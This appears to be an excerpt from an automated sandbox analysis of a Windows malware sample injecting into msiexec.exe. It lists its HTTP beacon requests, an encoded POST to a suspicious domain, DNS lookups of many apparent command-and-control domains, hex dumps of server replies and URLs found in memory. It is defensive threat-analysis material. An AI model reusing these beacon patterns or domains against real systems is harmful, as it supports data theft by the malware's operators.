Source: global traffic	HTTP traffic detected: GET /ssw0/?V6h=EWS2YwJnJiunoUuFc/7D9RbaJ3v4wM/73ZiSCzwa3KkaAEYrAxr2MHaEXaA/BV5/vIbe5XGczNGh+M2iNsrtVcMRpqBE9VdECLv8jlI9PFfIoqokrAMGKtNOgnbIBrYWGQ==&sH=nVVHdDTx2PSTVJ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-USHost: www.cacingnaga36.clickConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /wuux/?sH=nVVHdDTx2PSTVJ&V6h=G8W1V2+ngxJ+E83/0IyfiXupIqoHasoRgPgAY3+/EHQIvd2Wul84Lo8VWixQDtg5AMG3Phy0eNTP33PkrrD0t0eGx0WSmGJ1HH0cwOwxD95TaQSaBMeTfZ443OH1gA0wDQ== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-USHost: www.whiskeydecanterset.comConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /f1qc/?V6h=hzwN5LvsQYGPXTyx42WRS7uCqzLBy6ud4OZoJGct5lGhQCi/JqvYfzOI1V2uJBuqGZjzCjoJ029vt64MfCw2DjbXOZQ5rAFnHlGKde1l7O/bIsy3YWShbixw9PLvmnDlNA==&sH=nVVHdDTx2PSTVJ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-USHost: www.4odagiyn.clickConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0

Source: global traffic	DNS traffic detected: DNS query: www.whiskeydecanterset.com
Source: global traffic	DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: www.4odagiyn.click
Source: global traffic	DNS traffic detected: DNS query: www.shimakaze-83.cfd
Source: global traffic	DNS traffic detected: DNS query: www.marinamaquiagens.online
Source: global traffic	DNS traffic detected: DNS query: www.sandiegosharon.com
Source: global traffic	DNS traffic detected: DNS query: www.yi992.com
Source: global traffic	DNS traffic detected: DNS query: www.ios2222abh.top
Source: global traffic	DNS traffic detected: DNS query: www.rigintech.info
Source: global traffic	DNS traffic detected: DNS query: www.bnmlk.org
Source: global traffic	DNS traffic detected: DNS query: www.smokesandhoney.com
Source: global traffic	DNS traffic detected: DNS query: www.wildenmann.shop
Source: global traffic	DNS traffic detected: DNS query: www.formytinyhome.com
Source: global traffic	DNS traffic detected: DNS query: www.5a8yly.cfd
Source: global traffic	DNS traffic detected: DNS query: www.thecivilwearsprada06.site
Source: global traffic	DNS traffic detected: DNS query: www.sugargz.com
Source: global traffic	DNS traffic detected: DNS query: www.cacingnaga36.click

Source: unknown

HTTP traffic detected: POST /f1qc/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-USHost: www.4odagiyn.clickConnection: closeContent-Length: 204Content-Type: application/x-www-form-urlencodedCache-Control: max-age=0Origin: http://www.4odagiyn.clickReferer: http://www.4odagiyn.click/f1qc/User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0Data Raw: 56 36 68 3d 73 78 59 74 36 37 50 59 64 70 50 77 58 6a 4b 78 30 45 2b 36 51 4c 79 48 68 78 69 59 75 36 72 69 77 50 68 4a 46 6b 31 36 30 6e 50 7a 44 41 50 5a 57 34 33 31 61 42 4b 46 38 43 54 38 4f 6a 66 6a 41 4c 69 78 4d 52 38 2b 74 32 6c 63 30 4b 55 4c 56 69 30 74 4f 6e 76 31 62 75 30 41 6e 44 4d 72 55 48 72 68 63 70 64 57 33 72 50 46 42 72 36 45 63 7a 75 57 52 78 74 43 78 66 6a 61 73 46 36 6f 66 6c 73 66 7a 57 47 50 5a 6d 48 58 51 54 46 66 69 6c 79 39 6b 67 4d 44 77 66 4a 68 32 63 61 62 64 75 7a 2f 51 50 58 71 66 71 37 73 62 64 4e 71 39 73 52 6a 76 30 53 67 6d 74 49 4a 51 4d 49 38 33 66 43 50 33 4c 49 3d Data Ascii: V6h=sxYt67PYdpPwXjKx0E+6QLyHhxiYu6riwPhJFk160nPzDAPZW431aBKF8CT8OjfjALixMR8+t2lc0KULVi0tOnv1bu0AnDMrUHrhcpdW3rPFBr6EczuWRxtCxfjasF6oflsfzWGPZmHXQTFfily9kgMDwfJh2cabduz/QPXqfq7sbdNq9sRjv0SgmtIJQMI83fCP3LI=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Sep 2024 12:25:50 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Sep 2024 12:25:53 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Sep 2024 12:25:55 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Sep 2024 12:25:58 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 05 Sep 2024 12:26:04 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeServer: nginxVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Vp/JLII&T$dCAfAyyyr0.mx0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 05 Sep 2024 12:26:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeServer: nginxVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Vp/JLII&T$dCAfAyyyr0.mx0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 05 Sep 2024 12:26:09 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeServer: nginxVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Vp/JLII&T$dCAfAyyyr0.mx0

Source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005664000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005AB4000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4490874139.0000000007110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://c.parkingcrew.net/scripts/sale_form.js
Source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005988000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005DD8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://wildenmann.shop/ccpi/?sH=nVVHdDTx2PSTVJ&V6h=96vdCLF6vzOjbBC3mbkrC4zzUz2rd8Vx/oWpiC2btghNh3zo1
Source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005CAC000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.00000000060FC000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://ww1.5a8yly.cfd/kfsd/?sH=nVVHdDTx2PSTVJ&V6h=xdt0ktZO0PUVE8ko/vYSpSqVpvi6VCO8XncayCS9euW1eL9fqb
Source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000004B66000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000004FB6000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://ww7.4odagiyn.click/f1qc/?V6h=hzwN5LvsQYGPXTyx42WRS7uCqzLBy6ud4OZoJGct5lGhQCi/JqvYfzOI1V2uJBuq
Source: sXmdPDASzrmzi.exe, 00000003.00000002.4491976479.0000000006A6F000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.4odagiyn.click
Source: sXmdPDASzrmzi.exe, 00000003.00000002.4491976479.0000000006A6F000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.4odagiyn.click/f1qc/
Source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005664000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005AB4000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.bnmlk.org/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTF8fHx8fHw2NmQ5YTM2NDExYzB
Source: msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.00000000054D2000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005922000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
Source: msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005664000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005AB4000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4490874139.0000000007110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d38psrni17bvxu.cloudfront.net/themes/registrar/images/namesilo.svg
Source: msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
